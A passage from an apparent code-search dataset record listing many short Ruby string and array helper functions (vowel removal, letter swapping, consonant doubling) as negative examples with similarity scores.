consonant[consonant_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n consonant_counter += 1\r\n end\r\n counter += 1\r\n consonant_counter = 0\r\n end \r\n new_name = name_array.join('')\r\n new_name = new_name.split(' ')\r\n new_name.map! { |word| word.capitalize! }\r\n new_name = new_name.join(' ')\r\n return new_name\r\nend","def remove_vowels(arr)\n arr.map { |a| a.tr('aeiouAEIOU', '') }\nend","def remove_vowels(arr)\n arr.map { |a| a.tr('aeiouAEIOU', '') }\nend","def remove_vowels(strings)\n strings.map { |string| string.delete('aeiouAEIOU') }\nend","def remove_vowels(strings)\n strings.map { |string| string.delete('aeiouAEIOU') }\nend","def add_s(array)\n array.collect { |word| word != array[1] ? word + \"s\" : word }\nend","def create_arr_arrays(arr_strings)\n\tarr_strings.map do |row| \n\t\trow.split(\",\").map { |word| word.strip }\n\t\tend\nend","def remove_vowels(array)\n vowels = %w(a e i o u)\n array.map!(&:chars)\n array.map { |ary| ary.delete_if { |chr| vowels.include?(chr.downcase) } }\n array.map(&:join)\nend","def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\n end","def clean_facets_array(facets_array)\n Array(facets_array).map {|text| fix_subfield_demarcators(text) }.compact.uniq\n end","def alternate_words(string)\n\t# clean_string gets rid of ! @ $ # % ^ & * ( ) - = _ .....\n\tclean_string = string.to_s.gsub(/[^’'A-Za-z0-9\\s]/i,' ')\n\n\t#array then turns clean_string into an array of words split using the space character \n clean_string_array = clean_string.split(\" \")\n\n #create a new array called final\n final = []\n\n #len is the total number of values in the clean_string_array\n len = clean_string_array.length-1\n\n #loop throught clean_string_array\n for i in 0..len\n\n \t#if i is an odd number then select that index from the clean_string_array\n \tstr = clean_string_array[i] if i % 2 == 0\n\t\t\n\t\t#if str does not have an empty space then pass it through\n \tif str != \"\"\n\n \tfinal << str\n \tstr = \"\"\n end\n end\n return final\n \nend","def remove_vowels(arr)\n arr.map { |string| string.delete \"aeiouAEIOU\" }\nend","def swap(string)\n string_arr = string.split.map do |word|\n first_letter = word[0]\n word = word.gsub(word[0], word[-1])\n word[-1] = first_letter\n word\n end\n string_arr.join(' ')\nend","def remove_vowels(arry)\n arry.map do |word|\n word.gsub(/[aeiou]/i, '')\n end\nend","def from_sql_array\n retval = Array.new\n quotes = false\n\n # Chop off the leading and trailing braces...\n str = self[1..-2]\n j = 0\n\n # Scan through the characters, looking for quotes and grabbing Array\n # elements when we find them.\n str.split(//).each_with_index do |c, i|\n if c == '\"' && (i == 0 || str[i - 1].chr != '\\\\')\n quotes = !quotes\n elsif c == ',' && !quotes\n retval << str[j, i - j]\n j = i + 1\n end\n end\n\n # Plop on the rest of the string that wasn't accounted for above.\n retval << str[j..-1]\n\n # Get rid of escapes on quotes and backslashes.\n retval.each_with_index do |v, i|\n retval[i] = v.gsub(/^\\\"(.*)\\\"$/, '\\1').gsub(/\\\\\\\"/, '\"').gsub(/\\\\\\\\/, '\\\\')\n end\n end","def prepare(tokens); tokens.map { |x| x.gsub(/_/, ' ') } end"],"string":"[\n \"def cleanup_strings(strings, strip: true)\\n strings = Array(strings).flatten.map! { |s| cleanup_string(s, strip: strip) }\\n strings.reject!(&:blank?)\\n strings\\n end\",\n \"def merge_adjacent_strings(arr)\\n # Optimize for the common case of one element\\n return arr if arr.size < 2\\n arr.inject([]) do |a, e|\\n if e.is_a?(String)\\n if a.last.is_a?(String)\\n a.last << e\\n else\\n a << e.dup\\n end\\n else\\n a << e\\n end\\n a\\n end\\n end\",\n \"def sanitize(path_array)\\n path_array.map do |path|\\n path = path.gsub(/{(.*) => (.*)}/, '\\\\2')\\n path.strip\\n end\\n end\",\n \"def remove_vowels2(array_of_strings)\\n vowels = 'aeiouAEIOU'\\n array_of_strings.map do |string|\\n string.delete(vowels)\\n end\\nend\",\n \"def remove_vowels(array_of_strings)\\n vowels = 'aeiou'\\n consonant_array = array_of_strings.map do |string|\\n string.chars.delete_if { |char| vowels.include?(char) }.join\\n end\\n consonant_array.join(' ')\\nend\",\n \"def strip_string_array(arr)\\n arr.first.lstrip! if arr.first.is_a?(String)\\n arr[-1] = Sass::Util.rstrip_except_escapes(arr[-1]) if arr.last.is_a?(String)\\n arr\\n end\",\n \"def remove_vowels(string_array)\\n string_array.map { |string| string.gsub(/[aeiou]/i, \\\"\\\") }\\nend\",\n \"def find_doubles(in_array)\\n result = []\\n find_not_uniq_words(in_array).each do |not_uniq_word|\\n in_array.each do |url_desc_cont|\\n result << url_desc_cont if url_desc_cont[1][0] && url_desc_cont[1][0].include?(not_uniq_word)\\n end\\n end\\n result\\n end\",\n \"def crunch(double_string)\\n current_character = ''\\n new_string = ''\\n double_string.each_char do |character|\\n if character != current_character\\n new_string += character\\n current_character = character\\n end\\n end\\n new_string\\nend\",\n \"def separate(dirty_array)\\n split_pieces = []\\n dirty_array.each do |elem|\\n split_pieces << elem.split(/[^a-zA-Z]/)\\n end\\n flat_array = split_pieces.flatten\\n return flat_array.reject! { |c| c.empty? }\\nend\",\n \"def remove_vowels_simple(strings)\\n strings.map do |string|\\n string.gsub(/aeiou/i, ''))\\n end\\nend\",\n \"def convertFinalArrayToString\\n string = \\\"\\\"\\n @arrayOfElements.each { |row| \\n rowString = \\\"\\\"\\n row.each { |word|\\n if \\\"\\\" == rowString\\n rowString = rowString + word\\n else\\n rowString = rowString + \\\" \\\" + word\\n end\\n }\\n if \\\"\\\" == string\\n string = rowString\\n else\\n string = string + \\\"\\\\n\\\" + rowString\\n end\\n }\\n return string\\nend\",\n \"def remove_vowels(array) #Works, but is very long, wordy and non-intuitive.\\r\\n vowels = [\\\"a\\\", \\\"A\\\", \\\"e\\\", \\\"E\\\", \\\"i\\\", \\\"I\\\", \\\"o\\\", \\\"O\\\", \\\"u\\\", \\\"U\\\"]\\r\\n new_array = []\\r\\n array.map do |string|\\r\\n sub_array = string.chars.select do |letter|\\r\\n letter unless vowels.include?(letter)\\r\\n end\\r\\n new_array << sub_array.join\\r\\n end\\r\\n new_array\\r\\nend\",\n \"def remove_vowels(array_of_strings)\\n array_of_strings.map { |string| string.delete(\\\"AEIOUaeiou\\\") }\\nend\",\n \"def split_strip_compact_array(values_str_array, delimiter = \\\",\\\")\\n return [] if not values_str_array\\n values_str_array.inject([]) {|s,x| s + split_strip_compact(x, delimiter)}\\nend\",\n \"def crunch(string)\\n new_array = [ ]\\n\\n original_string_arr = string.chars\\n\\n original_string_arr.each_with_index do |char, index|\\n if char != original_string_arr[index + 1]\\n new_array << char\\n end\\n end\\n\\n new_array.join\\nend\",\n \"def unquote_array(*values)\\n values.flatten.map{|v| unquote(v) }.select{|v| v.respond_to?(:to_str)}\\n end\",\n \"def sanitize_pair_list pairs_array\\n\\t\\twithout_duplicates = remove_unwanted_duplicates pairs_array\\n\\t\\talphabetize_pairs_by_seq(without_duplicates)\\n\\tend\",\n \"def censor(string, array)\\n new_words = (string.split).map do |word|\\n if array.include?(word.downcase)\\n star_vowels(word)\\n else\\n word\\n end\\n end\\n\\n new_words.join(\\\" \\\")\\nend\",\n \"def stringsRearrangement(inputArray)\\n p = inputArray.permutation.to_a\\n result = Array.new\\n \\n p.each do |inputA|\\n result << checkDiffByOne(inputA)\\n end\\n \\n result.count(true)\\nend\",\n \"def simplify_key_value_list(elements)\\n # remove everything form right to left till the double unerline\\n elements.each do |element|\\n element.keyValueList.transform_keys! do |key|\\n index = key.index('__')\\n if !index.nil?\\n key.slice(index + 2, key.length)\\n else\\n key\\n end\\n end\\n end\\n end\",\n \"def double_every_other\\r\\n @number_array = @number.split(//)\\r\\n @double_array = @number_array.collect.with_index { |digit, index| index.even? ? digit.to_i * 2 : digit }\\r\\n @double_array.map! { |term| term.to_s.split(//)}.flatten!\\r\\n end\",\n \"def single_to_double(str)\\n ret = str.dup\\n return ret if str.start_with?(\\\"\\\\\\\"\\\")\\n\\n # esacpe interpolation start (ignred in single quoted string)\\n ret.gsub!(\\\"\\\\#{\\\", \\\"\\\\\\\\\\\\#{\\\")\\n # esacpe double quotes (not needed in single quoted string)\\n ret.gsub!(\\\"\\\\\\\"\\\", \\\"\\\\\\\\\\\\\\\"\\\")\\n\\n # replace the around quotes\\n ret[0] = \\\"\\\\\\\"\\\"\\n ret[-1] = \\\"\\\\\\\"\\\"\\n ret\\n end\",\n \"def strip_array(clothed_arr)\\n fully_stripped = []\\n clothed_arr.each do |onecase|\\n fully_stripped.push(onecase.strip)\\n end\\n return fully_stripped\\n end\",\n \"def double_consonants(string)\\n result = string.split(//).map do |char|\\n char =~ /[b-df-hj-np-tv-z]/i ? char * 2 : char\\n end\\n result.join\\nend\",\n \"def remove_vowels(array)\\n array.map { |string| string.gsub(/[aeiouAEIOU]/, \\\"\\\") }\\nend\",\n \"def strings_for_select( *_array)\\n _array = _array.flatten\\n if _array.blank?\\n []\\n else\\n _array.zip _array\\n end\\n end\",\n \"def swapcase(multi_word_string)\\n word_arr = multi_word_string.split\\\"\\\" \\n modified_arr = word_arr.map do |char|\\n if char.match(/[a-z]/)\\n char.upcase\\n elsif char.match(/[A-Z]/)\\n char.downcase\\n else\\n char\\n end\\n end\\n modified_arr.join\\\"\\\"\\nend\",\n \"def pirates_say_arrrrrrrrr(string)\\n array_1 = string.downcase.split\\\"\\\"\\n array_2 = []\\n \\n loop do\\n arrr = array_1.index(\\\"r\\\")\\n break if arrr == nil\\n array_1.delete_at(arrr)\\n array_2 << array_1[arrr]\\n end\\n \\narray_2.join\\n\\nend\",\n \"def cleanup_noreg(string)\\n blocks = string.split\\n result = blocks.map do |word|\\n word = word.chars.map! do |char|\\n if char.downcase == char.downcase.upcase\\n ' '\\n else \\n char\\n end\\n end\\n word = word.join\\n # p word\\n #p word.squeeze(\\\" \\\")\\n #word.squeeze(\\\" \\\")\\n # take note that here +*& is a block or word, and gets replaced by a space without\\n # any contiguous letter chars\\n # so after join on line 48, there are 3 spaces between my and line, without the squeeze call\\n word\\n end\\n result = result.join(' ').squeeze(' ')#.squeeze\\nend\",\n \"def remove_vowels3(strings)\\n strings.map { |string| string.delete('aeiouAEIOU') }\\nend\",\n \"def remove_vowels(strings) # iterate through each vowel, set parameter to string, return string\\n strings.map do |string|\\n chars = string.split(\\\"\\\") # splitting the string into an array\\n VOWELS.each { |vowel| chars.delete(vowel) }\\n chars.join(\\\"\\\")\\n end\\nend\",\n \"def rewrite_param_values(array_params)\\n array_params.each { |param| (param[1] || \\\"\\\").gsub! %r/^\\\"|\\\"$/, '' }\\n end\",\n \"def fixed_array\\n reformated_array.map! do |element|\\n element.join(\\\", \\\").split(\\\", \\\")\\n end \\nend\",\n \"def remove_vowels(strings)\\n strings.each_with_object([]) do |string, arr|\\n arr.push(string.gsub(/[aeiou]/i, ''))\\n end\\nend\",\n \"def normalize_date_strings(date_strings, separator = '/')\\n return date_strings if RUBY_VERSION < '1.9'\\n date_strings = [*date_strings] # ensure Array\\n date_strings.map! do |ds|\\n fragments = ds.split(separator)\\n [fragments[1], fragments[0], fragments[2]].join(separator)\\n end\\n end\",\n \"def alternate_words(sentence) #Not clear why failing test because exact same output\\n\\tarray = sentence.split(' ')\\n\\t\\n\\tnew_array = []\\n\\tarray.length.times {|index| new_array << array[index] if index.even?}\\n\\tnew_array.map! {|element| element.gsub(/\\\\p{P}(?<!')/, \\\"\\\")}\\n\\treturn new_array\\nend\",\n \"def format_address(arr)\\n downcase_arr = arr.map(&:downcase)\\n formatted_arr = downcase_arr.map{|a| a.gsub(\\\", \\\", \\\"\\\").gsub(\\\" \\\", \\\"-\\\")}\\n # puts formatted_arr\\nend\",\n \"def double_consonants(string)\\n doubled_chars = string.chars.map do |char|\\n if char =~ /[A-Za-z]/ && !VOWELS.include?(char)\\n char + char\\n else\\n char\\n end\\n end\\n doubled_chars.join\\nend\",\n \"def rewrite_param_values(array_params)\\n array_params.each { |param| (param[1] || \\\"\\\").gsub! %r/^\\\"|\\\"$/, '' }\\n end\",\n \"def unsymbolize_array(array)\\n array.collect{|c| c.to_s}\\n end\",\n \"def remove_non_strings(arr)\\n arr.select do |element|\\n element == element.to_s\\n end\\nend\",\n \"def rewrite_param_values(array_params)\\n array_params.each { |param| param.last.gsub! %r/^\\\"|\\\"$/, '' }\\n end\",\n \"def remove_vowels(arr)\\n arr.map do |str|\\n str.gsub(/[AEIOUaeiou]/,'')\\n end\\nend\",\n \"def pirates_say_arrrrrrrrr(string)\\n\\tarray_1 = string.downcase.split\\\"\\\"\\n\\tarray_2 = []\\n\\nloop do \\n\\tarrr = array_1.index(\\\"r\\\")\\n\\tbreak if arrr == nil\\n\\tarray_1.delete_at(arrr)\\n\\tarray_2 << array_1[arrr]\\n\\t\\nend\\n\\narray_2.join\\n\\nend\",\n \"def array_of_2_char_substrings\\n @array_of_2_char_substrings ||= array_of_single_char_substrings.map do |a|\\n array_of_single_char_substrings.map {|b| \\\"#{a}#{b}\\\" }\\n end.flatten\\n end\",\n \"def internal_space_old(line)\\n arr = []\\n single_quote = line.count('\\\"')\\n # This method won't work when there is two consecutive double quote\\n # so we must replace them else they will get removed.\\n line.gsub!('\\\"\\\"', '☠')\\n line.split('\\\"').each_with_index do |item, i|\\n # if odd number of double quote we are in a string else we are out\\n # process only if out of a string\\n item.gsub!(/ +/, ' ') if i.even?\\n arr.push(item)\\n end\\n output = arr.join('\\\"')\\n output.gsub!('☠', '\\\"\\\"')\\n output += '\\\"' unless single_quote == output.count('\\\"')\\n return output\\n end\",\n \"def format_comb(arr)\\n ret = []\\n arr.each do |sub_arr|\\n if sub_arr.size > 1\\n # use dash to connect the multiple strings \\n ret << sub_arr.inject('') {|acc, e| acc + e + '-' }[0..-2]\\n elsif sub_arr.size == 1\\n ret << sub_arr[0]\\n else\\n # do nothing...\\n end\\n end\\n return ret\\n end\",\n \"def recombiner (array_of_char)\\n new_name = array_of_char.join.split(' ').reverse\\n new_name.map! do | words |\\n words.capitalize\\n end\\n new_name.join(' ')\\nend\",\n \"def swap(string)\\n string = string.split\\n new_string = []\\n\\n\\n string.map do |word|\\n word = word.chars\\n c1 = word[0]\\n c2 = word[-1]\\n\\n word[0] = c2\\n word[-1] = c1\\n\\n new_string << word.join\\n\\n end\\n\\n new_string.join(' ')\\nend\",\n \"def transform_array_with_map(array)\\n # Avec la fonction map, on transforme le tableau appelé grâce au paramètre array.\\n # Au début, le tableau renvoie ça : [#<Twitter::Tweet id=954654232795283457>, ...]\\n # On applique le regex puis on s'assure que les emails soient renvoyés en tant que string.\\n\\n # La fonction map renvoie ça : [email@quelquechose.com,nil,nil,autreemail@bs.com,...]\\n # Ensuite, on applique la fonction compact, qui élimine les valeurs nil du tableau.\\n # Enfin, on élimine les potentiels doublons avec la fonction uniq.\\n array.map do |tweet|\\n result = \\\"#{tweet.text}\\\".match(/\\\\w+\\\\.?\\\\+?\\\\w+?@\\\\w+\\\\-?\\\\w+\\\\.\\\\w+/)\\n result.to_s unless result == nil\\n end.compact.uniq\\nend\",\n \"def remove_vowels(array)\\n array.map do |string|\\n string.delete(\\\"aeiouAEIOU\\\")\\n end\\nend\",\n \"def kesha_maker(array)\\n array.collect do |element|\\n split_element_to_array = element.split(\\\"\\\")\\n split_element_to_array[2] = \\\"$\\\"\\n joined_array = split_element_to_array.join\\n joined_array\\n end\\nend\",\n \"def remove_vowels(array)\\n array.map { |string| string.delete(\\\"AEIOUaeiou\\\") }\\nend\",\n \"def remove_vowels(array)\\n array.map { |string| string.delete(\\\"aeiouAEIOU\\\") }\\nend\",\n \"def resolve_duplicates(rows_as_strings)\\n\\trows_as_arrays = rows_as_strings.map{|row| row.split(' ')}\\n\\tmerged_row = rows_as_arrays.first[0..10] # first 11 elements are selected from the first row\\n\\t(11..rows_as_arrays.first.length-1).each do |col_idx|\\n\\t\\talleles = []\\n\\t\\trows_as_arrays.each do |row|\\n\\t\\t\\talleles << row[col_idx]\\n\\t\\tend\\n\\t\\tmerged_allele = resolve_alleles(alleles)\\n\\t\\tmerged_row << merged_allele\\n\\tend\\n\\treturn merged_row.join(\\\" \\\")\\nend\",\n \"def double_consonants(string)\\n final = string.chars.map do |el|\\n if %w[a e i o u].include?(el)\\n el\\n elsif ('a'..'z').include?(el.downcase)\\n el * 2\\n else\\n el\\n end\\n end\\n final.join\\nend\",\n \"def remove_non_strings (array)\\n temp = []\\n array.each do |data|\\n if data.class == String\\n temp << data\\n end\\n end\\n temp\\nend\",\n \"def kesha_maker(array)\\n array.map do |elem|\\n word_splice = elem.split(\\\"\\\")\\n word_splice[2] = \\\"$\\\"\\n word_splice.join\\n end\\nend\",\n \"def formatAnswersToSimple( answerArr )\\n resultString = \\\"\\\"\\n # answerArr.each{ |ansArr|\\n# resultString = resultString + ansArr.join( \\\",\\\" )\\n # resultString = resultString + \\\"~\\\"\\n # }\\n resultString = answerArr.join(\\\"~\\\")\\nend\",\n \"def double_consonants(string)\\n results = []\\n\\n string.chars.each do |char|\\n if char =~ /[\\\"AEIOUaeiou\\\"]/ || \\n char =~ /\\\\W/ ||\\n char =~ /\\\\d/\\n results << char\\n else\\n results << char << char\\n end\\n end\\n\\n results.join\\nend\",\n \"def remove_vowels(array)\\n array.map do |string|\\n string.delete('AEIOUaeiou')\\n end\\nend\",\n \"def remove_vowels(array)\\n array.map { |string| string.delete('aeiouAEIOU') }\\nend\",\n \"def swap(string)\\n words = string.split\\n swapped_words = words.map do |word|\\n swapped = word.dup\\n swapped[0] = word[-1]\\n swapped[-1] = word[0]\\n swapped\\n end\\n\\n swapped_words.join(' ')\\nend\",\n \"def remove_vowels(array)\\n array.map do |word|\\n word.gsub(/[aeiou]/i, '') # use gsub to pull out the vowels\\n end\\nend\",\n \"def swap(string)\\n array = string.split\\n swapped_array = array.map do |element|\\n element[0], element[-1] = element[-1], element[0]\\n element\\n end\\n swapped_array.join(' ')\\nend\",\n \"def names_two(names)\\n\\t\\tnames.map{ |i| %Q('#{i}') }.join(',')\\n\\t\\tnames = names.map(&:capitalize)\\n\\t\\tlittle_array = []\\n\\t\\tsets = names.shuffle\\n\\tif names.length % 2 == 0\\n\\t\\ta = names.length/2\\n\\t\\ta.times do \\n\\t\\tsets_1 = sets.pop(2).to_a\\n\\t\\tlittle_array << sets_1\\n\\t\\tset_1 = 0\\n\\tend\\n\\n\\telse \\n\\t\\textra = sets.pop\\n\\t\\tb = names.length/2\\n\\t\\tb.times do \\n\\t\\tsets_1 = sets.pop(2).to_a\\n\\t\\tlittle_array << sets_1\\n\\t\\tset_1 = 0\\n\\tend\\n\\tlittle_array[0] << extra\\nend\\nclean_array = clean(little_array)\\np clean_array\\nend\",\n \"def double_consonants(string)\\n chars_array = string.chars.map do |x|\\n if x =~ /[^AEIOUaeiou0-9\\\\W]/\\n x*2\\n else\\n x\\n end\\n end\\n \\n chars_array.join\\nend\",\n \"def crunch(str)\\n str.split.map do |word|\\n word.chars.each_with_object('') do |char, clean_word|\\n clean_word << char if char != clean_word[-1]\\n end\\n end.join(' ')\\nend\",\n \"def alternate_words(string)\\n\\n\\tunwanted = [\\\"!\\\",\\\"@\\\",\\\"$\\\",\\\"#\\\",\\\"%\\\",\\\"^\\\",\\\"&\\\",\\\"*\\\",\\\"(\\\",\\\")\\\",\\\"-\\\",\\\"=\\\",\\\"_\\\",\\\"+\\\",\\\"[\\\",\\\"]\\\",\\\":\\\",\\\";\\\",\\\",\\\",\\\".\\\",\\\"/\\\",\\\"<\\\",\\\">\\\",\\\"?\\\",\\\"|\\\"]\\n\\tcounter = 0\\n\\tnew_str_arr = Array.new \\n\\n\\tunwanted.each do |symbol|\\n\\t\\tstring = string.gsub(symbol,\\\" \\\")\\n\\tend\\n\\tarray_str = string.split(\\\" \\\");\\n\\n\\twhile counter < array_str.length do \\n\\t\\tif counter.even?\\n\\t\\t\\tnew_str_arr.push(array_str[counter])\\n\\t\\tend\\t\\n\\tcounter += 1\\t\\n\\tend\\n\\t\\n\\treturn new_str_arr\\n\\nend\",\n \"def remove_vowels(strings)\\n strings.map { |string| string.delete \\\"aeiouAEIOU\\\" }\\nend\",\n \"def remove_duplicates(char_array)\\n #\\n # Given an array of chars [\\\"A\\\", \\\"b\\\", \\\"c\\\", \\\"C\\\", \\\"D\\\", \\\"E\\\", \\\"F\\\"]\\n #\\n # Will an array with adjoining lower-case<->capital pairs removed\\n #\\n # \\\"[\\\"A\\\", \\\"b\\\", \\\"c\\\", \\\"C\\\", \\\"D\\\", \\\"E\\\", \\\"F\\\"] => [\\\"A\\\", \\\"b\\\", \\\"D\\\", \\\"E\\\", \\\"F\\\"]\\n #\\n # Note that this will compare idx=0 <=> idx=1 , idx=2 <=> idx=3, ..\\n # It will not compare idx=1 to idx=2\\n #\\n # As such, this function should be called twice, once with first character offset\\n # See `remove_all_duplicates` for implementation\\n #\\n char_array.each_slice(2).reject { |x| \\n /[[:upper:]]/.match(x.first) ? x.first.downcase == x.last : x.first.upcase == x.last\\n }.flatten\\nend\",\n \"def remove_vowels(strings)\\n strings.map { |str| str.gsub(/[aeiou]/i, '')}\\nend\",\n \"def bulk_tweet_shortener(array)\\n replace= []\\n \\n array.each do |string|\\n replace << string.split.each do |word| \\n if dictionary.has_key?(\\\"#{word}\\\") == true\\n word.replace(dictionary[\\\"#{word}\\\"])\\n else word\\n end\\n end\\n \\n end \\n\\n replace.collect do |tweet| puts tweet.join(\\\" \\\") end\\nend\",\n \"def remove_initial_and_format_change \\n @reformated_array = []\\n array_of_parse_files.each do |info|\\n if !info[0].include?(\\\"|\\\") && !info[0].include?(\\\",\\\")\\n info.map! {|element| element.split(\\\" \\\")}\\n info.each {|element| element.slice!(-4)} \\n @reformated_array << info\\n elsif info[0].include?(\\\"|\\\")\\n info.map! {|element| element.split(\\\" | \\\")}\\n info.each {|element| element.slice!(-4)} \\n @reformated_array << info\\n else\\n @reformated_array << info\\n end\\n end\\nend\",\n \"def downcase_deputes(array)\\n\\tarray.map do |n|\\n\\t\\tn.downcase\\n\\tend\\nend\",\n \"def concatenate_array_of_strings(array)\\n array_of_strings_concatenated = array.join\\nend\",\n \"def sanitize_and_merge_order(*orders)\\n orders = orders.reject(&:blank?).map do |order|\\n order.strip!\\n order = order.last == ',' ? order.chop : order\\n end\\n orders = orders.reject(&:blank?)\\n orders.empty? ? nil : orders.join(\\\", \\\")\\n end\",\n \"def remove_non_strings(array)\\n array.delete_if {|word| word.to_s != word}\\n end\",\n \"def remove_vowels(arr)\\n arr.map { |string| string.gsub(/[aeiou]/i, '') }\\nend\",\n \"def swap(string)\\n arr = string.split(' ')\\n\\n arr.map! do |word|\\n first = word[0]\\n word[0] = word[-1]\\n word[-1] = first\\n word\\n end\\n\\n arr.join(' ')\\nend\",\n \"def symbolise_array_strings(source, snake_case_keys=true)\\n # returns snake case values\\n return %I[#{sanitise_string(source, snake_case_keys)}]\\n end\",\n \"def add_s(array)\\n s_array = []\\n second_element = array.delete_at(1)\\n\\n array.each do |element|\\n element_array = element.split(\\\"\\\")\\n element_array[element_array.length] = \\\"s\\\"\\n result = element_array.join\\n s_array << result\\n end\\n s_array.insert(1, second_element)\\n s_array\\nend\",\n \"def double_consonants(str)\\n str.split(//).map { |chr| chr.match?(/[^aeiou\\\\d\\\\W]/i) ? chr + chr : chr }.join\\nend\",\n \"def consonant_converter(string)\\r\\n name_array = string\\r\\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\\r\\n counter = 0\\r\\n consonant_counter = 0\\r\\n# Outer loop that loops through entire name (first and last)\\r\\n while counter < name_array.length\\r\\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\\r\\n \\twhile consonant_counter < consonant.length\\r\\n \\t\\tif name_array[counter] == consonant[consonant_counter]\\r\\n if name_array[counter] == 'z'\\r\\n \\tname_array[counter] = 'b'\\r\\n break\\r\\n else\\t\\r\\n \\t\\t name_array[counter] = consonant[consonant_counter + 1]\\r\\n \\t\\t break\\r\\n \\t\\t end\\r\\n \\t end\\r\\n consonant_counter += 1\\r\\n end\\r\\n counter += 1\\r\\n consonant_counter = 0\\r\\n end \\r\\n new_name = name_array.join('')\\r\\n new_name = new_name.split(' ')\\r\\n new_name.map! { |word| word.capitalize! }\\r\\n new_name = new_name.join(' ')\\r\\n return new_name\\r\\nend\",\n \"def remove_vowels(arr)\\n arr.map { |a| a.tr('aeiouAEIOU', '') }\\nend\",\n \"def remove_vowels(arr)\\n arr.map { |a| a.tr('aeiouAEIOU', '') }\\nend\",\n \"def remove_vowels(strings)\\n strings.map { |string| string.delete('aeiouAEIOU') }\\nend\",\n \"def remove_vowels(strings)\\n strings.map { |string| string.delete('aeiouAEIOU') }\\nend\",\n \"def add_s(array)\\n array.collect { |word| word != array[1] ? word + \\\"s\\\" : word }\\nend\",\n \"def create_arr_arrays(arr_strings)\\n\\tarr_strings.map do |row| \\n\\t\\trow.split(\\\",\\\").map { |word| word.strip }\\n\\t\\tend\\nend\",\n \"def remove_vowels(array)\\n vowels = %w(a e i o u)\\n array.map!(&:chars)\\n array.map { |ary| ary.delete_if { |chr| vowels.include?(chr.downcase) } }\\n array.map(&:join)\\nend\",\n \"def tricky_method_two(a_string_param, an_array_param)\\n a_string_param.gsub!('pumpkins', 'rutabaga')\\n an_array_param = ['pumpkins', 'rutabaga']\\n end\",\n \"def clean_facets_array(facets_array)\\n Array(facets_array).map {|text| fix_subfield_demarcators(text) }.compact.uniq\\n end\",\n \"def alternate_words(string)\\n\\t# clean_string gets rid of ! @ $ # % ^ & * ( ) - = _ .....\\n\\tclean_string = string.to_s.gsub(/[^’'A-Za-z0-9\\\\s]/i,' ')\\n\\n\\t#array then turns clean_string into an array of words split using the space character \\n clean_string_array = clean_string.split(\\\" \\\")\\n\\n #create a new array called final\\n final = []\\n\\n #len is the total number of values in the clean_string_array\\n len = clean_string_array.length-1\\n\\n #loop throught clean_string_array\\n for i in 0..len\\n\\n \\t#if i is an odd number then select that index from the clean_string_array\\n \\tstr = clean_string_array[i] if i % 2 == 0\\n\\t\\t\\n\\t\\t#if str does not have an empty space then pass it through\\n \\tif str != \\\"\\\"\\n\\n \\tfinal << str\\n \\tstr = \\\"\\\"\\n end\\n end\\n return final\\n \\nend\",\n \"def remove_vowels(arr)\\n arr.map { |string| string.delete \\\"aeiouAEIOU\\\" }\\nend\",\n \"def swap(string)\\n string_arr = string.split.map do |word|\\n first_letter = word[0]\\n word = word.gsub(word[0], word[-1])\\n word[-1] = first_letter\\n word\\n end\\n string_arr.join(' ')\\nend\",\n \"def remove_vowels(arry)\\n arry.map do |word|\\n word.gsub(/[aeiou]/i, '')\\n end\\nend\",\n \"def from_sql_array\\n retval = Array.new\\n quotes = false\\n\\n # Chop off the leading and trailing braces...\\n str = self[1..-2]\\n j = 0\\n\\n # Scan through the characters, looking for quotes and grabbing Array\\n # elements when we find them.\\n str.split(//).each_with_index do |c, i|\\n if c == '\\\"' && (i == 0 || str[i - 1].chr != '\\\\\\\\')\\n quotes = !quotes\\n elsif c == ',' && !quotes\\n retval << str[j, i - j]\\n j = i + 1\\n end\\n end\\n\\n # Plop on the rest of the string that wasn't accounted for above.\\n retval << str[j..-1]\\n\\n # Get rid of escapes on quotes and backslashes.\\n retval.each_with_index do |v, i|\\n retval[i] = v.gsub(/^\\\\\\\"(.*)\\\\\\\"$/, '\\\\1').gsub(/\\\\\\\\\\\\\\\"/, '\\\"').gsub(/\\\\\\\\\\\\\\\\/, '\\\\\\\\')\\n end\\n end\",\n \"def prepare(tokens); tokens.map { |x| x.gsub(/_/, ' ') } end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6655751","0.6185664","0.6163002","0.61486393","0.6042212","0.59847236","0.5885022","0.5884162","0.5865895","0.5843362","0.5838373","0.5765557","0.5748551","0.57478285","0.5744057","0.571083","0.5649587","0.5647592","0.56397265","0.56368154","0.5634608","0.5626338","0.5616467","0.55981624","0.55899125","0.55830985","0.5573901","0.55674154","0.5567334","0.5556315","0.5554316","0.55436003","0.55425787","0.5540524","0.55399626","0.5537518","0.55348116","0.5526842","0.55249256","0.5514449","0.5512837","0.55124456","0.5500348","0.5498813","0.5498082","0.5497394","0.54921514","0.54837507","0.5482523","0.5482188","0.54805756","0.54628795","0.5461599","0.5453721","0.5449306","0.5448569","0.54474217","0.54430807","0.5442075","0.54336566","0.5430522","0.54262877","0.542465","0.5422207","0.54131496","0.5406586","0.5402135","0.54003674","0.5390861","0.539011","0.5377022","0.53747606","0.5368803","0.53614324","0.5361408","0.535874","0.53580207","0.5357273","0.5356988","0.5351361","0.53482103","0.53463274","0.5346273","0.53454155","0.5340878","0.5331057","0.5331057","0.5330579","0.5330579","0.5328653","0.53279394","0.5326133","0.5319579","0.531792","0.53148293","0.5311102","0.53076845","0.53052485","0.53018993","0.52973866"],"string":"[\n \"0.6655751\",\n \"0.6185664\",\n \"0.6163002\",\n \"0.61486393\",\n \"0.6042212\",\n \"0.59847236\",\n \"0.5885022\",\n \"0.5884162\",\n \"0.5865895\",\n \"0.5843362\",\n \"0.5838373\",\n \"0.5765557\",\n \"0.5748551\",\n \"0.57478285\",\n \"0.5744057\",\n \"0.571083\",\n \"0.5649587\",\n \"0.5647592\",\n \"0.56397265\",\n \"0.56368154\",\n \"0.5634608\",\n \"0.5626338\",\n \"0.5616467\",\n \"0.55981624\",\n \"0.55899125\",\n \"0.55830985\",\n \"0.5573901\",\n \"0.55674154\",\n \"0.5567334\",\n \"0.5556315\",\n \"0.5554316\",\n \"0.55436003\",\n \"0.55425787\",\n \"0.5540524\",\n \"0.55399626\",\n \"0.5537518\",\n \"0.55348116\",\n \"0.5526842\",\n \"0.55249256\",\n 